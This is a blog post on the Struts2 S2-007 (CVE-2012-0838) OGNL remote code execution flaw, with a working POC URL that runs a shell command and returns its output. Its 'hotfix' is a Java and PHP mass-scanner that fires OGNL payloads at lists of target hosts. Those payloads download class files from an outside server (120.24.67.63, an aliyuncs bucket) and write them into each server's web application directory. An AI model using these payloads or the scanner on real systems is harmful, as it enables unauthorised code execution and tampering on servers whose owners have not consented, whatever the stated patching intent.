struts2 CVE-2012-0838 S2-007 Remote Code Execution && Hotfix
catalog
. Description
. Effected Scope
. Exploit Analysis
. Principle Of Vulnerability
. Patch Fix
1. Description
S2-007和S2-003、S2-005的漏洞源头都是一样的,都是struts2对OGNL的解析过程中存在漏洞,导致黑客可以通过OGNL表达式实现代码注入和执行,所不同的是
. S2-、S2-: 通过OGNL的name-value的赋值解析过程、#访问全局静态变量(AOP思想)实现代码执行
. S2-: 通过OGNL中String向long转换过程实现代码执行
//即它们的攻击向量是不同的
User input is evaluated as an OGNL expression when there's a conversion error. This allows a malicious user to execute arbitrary code.
关于struts2 OGNL的相关知识,请参阅另一篇文章
http://www.cnblogs.com/LittleHann/p/4614488.html
//搜索:5. struts2 OGNL表达式
Relevant Link:
http://struts.apache.org/docs/s2-007.html
http://cve.scap.org.cn/CVE-2012-0838.html
2. Effected Scope
Struts 2.0. - Struts 2.2.
3. Exploit Analysis
0x1: POC
http://localhost:8080/S2-XX/Login.action?id='%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ifconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%2b'
4. Principle Of Vulnerability
Apache Struts 2.2.3.1之前的2版本中存在漏洞,该漏洞源于在处理转换错误时评估字符串为OGNL表达式。远程攻击者可利用此漏洞借助无效的输入,修改run-time数据值,进而执行任意代码
5. Patch Fix
0x1: upgrade struts2
It is strongly recommended to upgrade to Struts 2.3.1.1, which contains the corrected classes.
0x2: Hotfix
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader; public class StrutsFix { private static final String pay1="redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23pf%3dnew%20java.io.File(%23req.getRealPath(\"/\")%2b\"/WEB-INF/classes/org/apache/struts2/util/\"),%23pf.mkdirs(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b\"/PrefixTrie.class\"),%23url%3dnew%20java.net.URL(\"http://120.24.67.63:8080/PrefixTrie\"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b\"/PrefixTrie$Node.class\"),%23url%3dnew%20java.net.URL(\"http://120.24.67.63:8080/PrefixTrie$Node\"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect()}";
private static final String pay2="redirect:${%23ioc%3d%23context.get('com.opensymphony.xwork2.ActionContext.container'),%23dam%3dnew%20org.apache.struts2.dispatcher.mapper.DefaultActionMapper().getClass().getInterfaces()[0],%23dam%3d%23ioc.getInstance(%23dam),%23field%3d(%23dam.getClass().toString().equals(\"class%20org.apache.struts2.dispatcher.mapper.DefaultActionMapper\")?%23dam.getClass().getDeclaredField(\"prefixTrie\"):%23dam.getClass().getSuperclass().getDeclaredField(\"prefixTrie\")),%23field.setAccessible(true),%23ptree%3d%23field.get(%23dam),%23ptree.put(\"redirect:\",null),%23ptree.put(\"redirectAction:\",null),'ITSOK'}";
private static final String pay3="debug=command&expression=%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23pf%3dnew%20java.io.File(%23req.getRealPath(\"/\")%2b\"/WEB-INF/classes/org/apache/struts2/interceptor/debugging\"),%23pf.mkdirs(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b\"/DebuggingInterceptor.class\"),%23url%3dnew%20java.net.URL(\"http://120.24.67.63:8080/DebuggingInterceptor\"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect(),'ITSOK'";
private static final String pay4="debug=command&expression=%23dai%3d%23context.get('com.opensymphony.xwork2.ActionContext.actionInvocation'),%23interceptors%3d%23dai.getProxy().getConfig().getInterceptors(),%23interceptor%3d%23interceptors.{?%20%23this.getInterceptor()%20instanceof%20org.apache.struts2.interceptor.debugging.DebuggingInterceptor},%23interceptor.{?%20%23this.getInterceptor().setDevMode(\"false\")}"; public static void main(String[] args) throws Exception{ if (args==null || args.length==){
args = new String[]{"/Users/arno/ip2.txt"};
} File f = new File(args[]);
BufferedReader bf =new BufferedReader(new FileReader(f)); String line = bf.readLine();
int urlCont=; while ( line !=null) { urlCont++; if (urlCont % == ){
Thread.currentThread().sleep();
} if (urlCont % == ){
Thread.currentThread().sleep();
} new Thread(new Runnable() { @Override
public void run() { String url = Thread.currentThread().getName();
System.out.println("");
System.out.print(url); if (url!=null){
url=url.trim();
}
if ( ! url.toLowerCase().startsWith("http://")){
url ="http://"+url;
} if ( url.indexOf("?")<){
url =url+"?";
} try{
java.net.URL urlfile = new java.net.URL(url+"&"+pay1);
java.net.HttpURLConnection connection = (java.net.HttpURLConnection)urlfile.openConnection();
connection.addRequestProperty("Connection", "close");
connection.setConnectTimeout();
connection.setReadTimeout();
connection.connect();
System.out.print(connection.getResponseCode());
connection.disconnect();
connection=null;
urlfile=null;
}catch (Exception e){
System.out.print("SendRedirectError:"+ e.getLocalizedMessage() );
} try{
java.net.URL urlfile = new java.net.URL(url+"&"+pay2);
java.net.HttpURLConnection connection = (java.net.HttpURLConnection)urlfile.openConnection();
connection.addRequestProperty("Connection", "close");
connection.setConnectTimeout();
connection.setReadTimeout();
connection.connect();
System.out.print(connection.getResponseCode());
connection.disconnect();
connection=null;
urlfile=null;
}catch (Exception e){
System.out.print("SendRedirectError:"+ e.getLocalizedMessage() );
} try{
java.net.URL urlfile = new java.net.URL(url+"&"+pay3);
java.net.HttpURLConnection connection = (java.net.HttpURLConnection)urlfile.openConnection();
connection.addRequestProperty("Connection", "close");
connection.setConnectTimeout();
connection.setReadTimeout();
connection.connect();
System.out.print(connection.getResponseCode());
connection.disconnect();
connection=null;
urlfile=null;
}catch (Exception e){
System.out.print("SendDebugError:"+ e.getLocalizedMessage() );
} try{
java.net.URL urlfile = new java.net.URL(url+"&"+pay4);
java.net.HttpURLConnection connection = (java.net.HttpURLConnection)urlfile.openConnection();
connection.addRequestProperty("Connection", "close");
connection.setConnectTimeout();
connection.setReadTimeout();
connection.connect();
System.out.print(connection.getResponseCode());
connection.disconnect();
connection=null;
urlfile=null;
}catch (Exception e){
System.out.print("SendDebugError:"+ e.getLocalizedMessage() );
} }
}, line).start(); line = bf.readLine();
} } }
0x3: PHP API
else if ($vultype == "")
{
$pay1 = 'redirect:${%23req%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),%23pf%3dnew%20java.io.File(%23req.getRealPath("/")%2b"/WEB-INF/classes/org/apache/struts2/util/"),%23pf.mkdirs(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b"/PrefixTrie.class"),%23url%3dnew%20java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/PrefixTrie"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b"/PrefixTrie$Node.class"),%23url%3dnew%20java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/PrefixTrie$Node"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect()}'; $pay2 = 'redirect:${#ioc%3d#context.get(\'com.opensymphony.xwork2.ActionContext.container\'),#dam%3dnew org.apache.struts2.dispatcher.mapper.DefaultActionMapper().getClass().getInterfaces()[0],#dam%3d#ioc.getInstance(#dam),#field%3d(#dam.getClass().toString().equals("class%20org.apache.struts2.dispatcher.mapper.DefaultActionMapper")?#dam.getClass().getDeclaredField("prefixTrie"):#dam.getClass().getSuperclass().getDeclaredField("prefixTrie")),#field.setAccessible(true),#ptree%3d#field.get(#dam),#ptree.put("redirect:",null),#ptree.put("redirectAction:",null),#dai%3d#context.get(\'com.opensymphony.xwork2.ActionContext.actionInvocation\'),#field%3d#dai.getClass().getDeclaredField(\'interceptors\'),#field.setAccessible(true),#interceptors%3d#field.get(#dai),#interceptor%3d#interceptors.{? #this.getInterceptor() instanceof com.opensymphony.xwork2.interceptor.ParametersInterceptor},#interceptor.{? #this.getInterceptor().setExcludeParams("(.*\\\\.|^|.*|\\\\[(\'|\\"))class(\\.|(\'|\\")]|\\\\[).*,^dojo\\\\..*,^struts\\\\..*,^session\\\\..*,^request\\\\..*,^application\\\\..*,^servlet(Request|Response)\\\\..*,^parameters\\\\..*,^action:.*,^method:.*")},\'ITSOK\'}'; $pay3 = 'debug=command&expression=%23req%3d%23context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletRequest\'),%23pf%3dnew%20java.io.File(%23req.getRealPath("/")%2b"/WEB-INF/classes/org/apache/struts2/interceptor/debugging"),%23pf.mkdirs(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b"/DebuggingInterceptor.class"),%23url%3dnew%20java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/DebuggingInterceptor"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect(),\'ITSOK\''; $pay4 = 'debug=command&expression=%23dai%3d%23context.get(\'com.opensymphony.xwork2.ActionContext.actionInvocation\'),%23interceptors%3d%23dai.getProxy().getConfig().getInterceptors(),%23interceptor%3d%23interceptors.{?%20%23this.getInterceptor()%20instanceof%20org.apache.struts2.interceptor.debugging.DebuggingInterceptor},%23interceptor.{?%20%23this.getInterceptor().setDevMode("false")},#interceptor%3d#interceptors.{? #this.getInterceptor() instanceof com.opensymphony.xwork2.interceptor.ParametersInterceptor},#interceptor.{? #this.getInterceptor().setExcludeParams("(.*\\\\.|^|.*|\\\\[(\'|\\"))class(\\\\.|(\'|\\")]|\\\\[).*,^dojo\\\\..*,^struts\\\\..*,^session\\\\..*,^request\\\\..*,^application\\\\..*,^servlet(Request|Response)\\\\..*,^parameters\\\\..*,^action:.*,^method:.*")}'; //存在struts2漏洞的url: http://target:8080/struts2-blank/example/HelloWorld.action
$url = $_GET['url'];
if (empty($url))
{
die('{"return_code":0,"return_str":"struts2 url missing"}');
}
$url = urldecode($url);
if ( strpos($url, "http://") !== )
{
$url = "http://" . $url;
}
if ( strpos($url, "?") === false )
{
$url = $url . "?";
}
$url = substr($url, , strpos($url, "?") + ); $md5 = $url . $pay1;
$res = file_get_contents( $url . $pay1 );
sleep();
$md5 .= " " . $url . $pay2;
$res = file_get_contents( $url . $pay2 );
sleep();
$md5 .= " " . $url . $pay3;
$res = file_get_contents( $url . $pay3 );
sleep();
$md5 .= " " . $url . $pay4;
$res = file_get_contents( $url . $pay4 ); saveToScanDB($client_ip, $url, $md5, $t, $vultype, $platform); die('{"return_code":0,"return_str":"push success"}');
}
0x4: POC原理
. $pay1
redirect:${
#req=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),
#pf=new java.io.File(#req.getRealPath("/")+"/WEB-INF/classes/org/apache/struts2/util/"),
#pf.mkdirs(),
#f=new java.io.File(#pf.getAbsolutePath()+"/PrefixTrie.class"),
#url=new java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/PrefixTrie"),
#conn=#url.openConnection(),
#conn.connect(),
#is=#conn.getInputStream(),
#os=new java.io.FileOutputStream(#f),
#len=#is.available(),
#b=new byte[#len],
#is.read(#b),
#os.write(#b, , #len),
#os.flush(),
#is.close(),
#conn.disconnect(),
#f=new java.io.File(#pf.getAbsolutePath()+"/PrefixTrie$Node.class"),
#url=new java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/PrefixTrie$Node"),
#conn=#url.openConnection(),
#conn.connect(),
#is=#conn.getInputStream(),
#os=new java.io.FileOutputStream(#f),
#len=#is.available(),
#b=new byte[#len],
#is.read(#b),
#os.write(#b, , #len),
#os.flush(),
#is.close(),
#conn.disconnect()
}
//下载用于修复跳转OGNL指令的前置过滤器类 . $pay2
redirect:${
#ioc=#context.get(\'com.opensymphony.xwork2.ActionContext.container\'),
#dam=new org.apache.struts2.dispatcher.mapper.DefaultActionMapper().getClass().getInterfaces()[],
#dam=#ioc.getInstance(#dam),
#field=(#dam.getClass().toString().equals("class org.apache.struts2.dispatcher.mapper.DefaultActionMapper")?#dam.getClass().getDeclaredField("prefixTrie"):#dam.getClass().getSuperclass().getDeclaredField("prefixTrie")),
#field.setAccessible(true),
#ptree=#field.get(#dam),
#ptree.put("redirect:",null),
#ptree.put("redirectAction:",null),
#dai=#context.get(\'com.opensymphony.xwork2.ActionContext.actionInvocation\'),
#field=#dai.getClass().getDeclaredField(\'interceptors\'),
#field.setAccessible(true),
#interceptors=#field.get(#dai),
#interceptor=#interceptors.{? #this.getInterceptor() instanceof com.opensymphony.xwork2.interceptor.ParametersInterceptor},#interceptor.{? #this.getInterceptor().setExcludeParams("(.*\\\\.|^|.*|\\\\[(\'|\\"))class(\\.|(\'|\\")]|\\\\[).*,^dojo\\\\..*,^struts\\\\..*,^session\\\\..*,^request\\\\..*,^application\\\\..*,^servlet(Request|Response)\\\\..*,^parameters\\\\..*,^action:.*,^method:.*")},
\'ITSOK\'
}
//加载前置过滤器类,动态关闭redirect、redirectAction开关,并设置URL禁用模式,阻断攻击数据包 . $pay3
debug=command&
expression=#req=#context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletRequest\'),
#pf=new java.io.File(#req.getRealPath("/")+"/WEB-INF/classes/org/apache/struts2/interceptor/debugging"),
#pf.mkdirs(),
#f=new java.io.File(#pf.getAbsolutePath()+"/DebuggingInterceptor.class"),
#url=new java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/DebuggingInterceptor"),
#conn=#url.openConnection(),
#conn.connect(),
#is=#conn.getInputStream(),
#os=new java.io.FileOutputStream(#f),
#len=#is.available(),
#b=new byte[#len],
#is.read(#b),
#os.write(#b, , #len),
#os.flush(),
#is.close(),
#conn.disconnect(),\'ITSOK\'
//下载用于修复DEBUG命令执行漏洞的过滤器类 . $pay4
debug=command&
expression=#dai=#context.get(\'com.opensymphony.xwork2.ActionContext.actionInvocation\'),
#interceptors=#dai.getProxy().getConfig().getInterceptors(),
#interceptor=#interceptors.{? #this.getInterceptor() instanceof org.apache.struts2.interceptor.debugging.DebuggingInterceptor},
#interceptor.{? #this.getInterceptor().setDevMode("false")},
#interceptor=#interceptors.{? #this.getInterceptor() instanceof com.opensymphony.xwork2.interceptor.ParametersInterceptor},#interceptor.{? #this.getInterceptor().setExcludeParams("(.*\\\\.|^|.*|\\\\[(\'|\\"))class(\\\\.|(\'|\\")]|\\\\[).*,^dojo\\\\..*,^struts\\\\..*,^session\\\\..*,^request\\\\..*,^application\\\\..*,^servlet(Request|Response)\\\\..*,^parameters\\\\..*,^action:.*,^method:.*")}
//利用DEBUG命令执行漏洞,动态关闭DEBUG指令执行开关,并设置URL禁用模式,阻断攻击数据包
Relevant Link:
Copyright (c) 2015 Little5ann All rights reserved
struts2 CVE-2012-0838 S2-007 Remote Code Execution && Hotfix的更多相关文章
- [我的CVE][CVE-2017-15708]Apache Synapse Remote Code Execution Vulnerability
漏洞编号:CNVD-2017-36700 漏洞编号:CVE-2017-15708 漏洞分析:https://www.javasec.cn/index.php/archives/117/ [Apache ...
- CVE-2014-6321 && MS14-066 Microsoft Schannel Remote Code Execution Vulnerability Analysis
目录 . 漏洞的起因 . 漏洞原理分析 . 漏洞的影响范围 . 漏洞的利用场景 . 漏洞的POC.测试方法 . 漏洞的修复Patch情况 . 如何避免此类漏洞继续出现 1. 漏洞的起因 这次的CVE和 ...
- [EXP]Microsoft Windows MSHTML Engine - "Edit" Remote Code Execution
# Exploit Title: Microsoft Windows (CVE-2019-0541) MSHTML Engine "Edit" Remote Code Execut ...
- [EXP]Apache Superset < 0.23 - Remote Code Execution
# Exploit Title: Apache Superset < 0.23 - Remote Code Execution # Date: 2018-05-17 # Exploit Auth ...
- [EXP]ThinkPHP 5.0.23/5.1.31 - Remote Code Execution
# Exploit Title: ThinkPHP .x < v5.0.23,v5.1.31 Remote Code Execution # Date: -- # Exploit Author: ...
- MyBB \inc\class_core.php <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse Shell Exploit) Vulnerability
catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 MyBB's unset_globals() function ca ...
- Insecure default in Elasticsearch enables remote code execution
Elasticsearch has a flaw in its default configuration which makes it possible for any webpage to exe ...
- Roundcube 1.2.2 - Remote Code Execution
本文简要记述一下Roundcube 1.2.2远程代码执行漏洞的复现过程. 漏洞利用条件 Roundcube必须配置成使用PHP的mail()函数(如果没有指定SMTP,则是默认开启) PHP的mai ...
- Home Web Server 1.9.1 build 164 - CGI Remote Code Execution复现
一. Home Web Server 1.9.1 build 164 - CGI Remote Code Execution复现 漏洞描述: Home Web Server允许调用CGI程序来通过P ...
随机推荐
- HP PCS 云监控大数据解决方案
——把数据从分散统一集中到数据中心 基于HP分布式并行计算/存储技术构建的云监控系统即是通过“云高清摄像机”及IaaS和PaaS监控系统平台,根据用户所需(SaaS)将多路监控数据流传送给“云端”,除 ...
- Linux Linux程序练习十六(进程间的通信信号版)
/* * 题目: * 编写程序,要去实现如下功能: 父进程创建子进程1和子进程2.子进程1向子进程2发送可靠信号,并传送额外数据为子进程1的pid*2; 子进程2接受可靠信号的值,并发送给父进程,父进 ...
- java JAXB 学习
JAXB(Java Architecture for XML Binding)是JDK的一部分,用于Object <-> XML的转换(有点类似于.NET中的XML序列化). 1.创建XS ...
- java动态代理浅析
最近在公司看到了mybatis与spring整合中MapperScannerConfigurer的使用,该类通过反向代理自动生成基于接口的动态代理类. 于是想起了java的动态代理,然后就有了这篇文章 ...
- Theano3.4-练习之多层感知机
来自http://deeplearning.net/tutorial/mlp.html#mlp Multilayer Perceptron note:这部分假设读者已经通读之前的一个练习 Classi ...
- 眼保Guide
1.睡前不要玩手机,特别是关灯玩手机!否则第二天早上你就会感到眼睛模糊了.长久下去就会形成近视或者近视加深. 2.早上起床半小时内不要戴眼镜,不要看手机.电脑等一切电子屏幕,甚至不要看书.这段时间是眼 ...
- 学习SQLite之路(四)
20160621 更新 参考: http://www.runoob.com/sqlite/sqlite-tutorial.html 1. SQLite alter命令:不通过执行一个完整的转储和数 ...
- 东大OJ-麦森数
1064: 麦森数 时间限制: 1 Sec 内存限制: 128 MB 提交: 52 解决: 9 [提交][状态][讨论版] 题目描述 形如2P-1的素数称为麦森数,这时P一定也是个素数.但反过来不 ...
- Yii2 使用小部件 Breadcrumbs
yii有两种Breadcrumbs写法,one: echo Breadcrumbs::widget([ 'itemTemplate' => "<li><i>{l ...
- Yii 字段验证
关于验证的属性: $enableClientValidation:是否在客户端验证,也即是否生成前端js验证脚本(如果在form中设置了ajax验证,也会生成这个js脚本). $enableAjaxV ...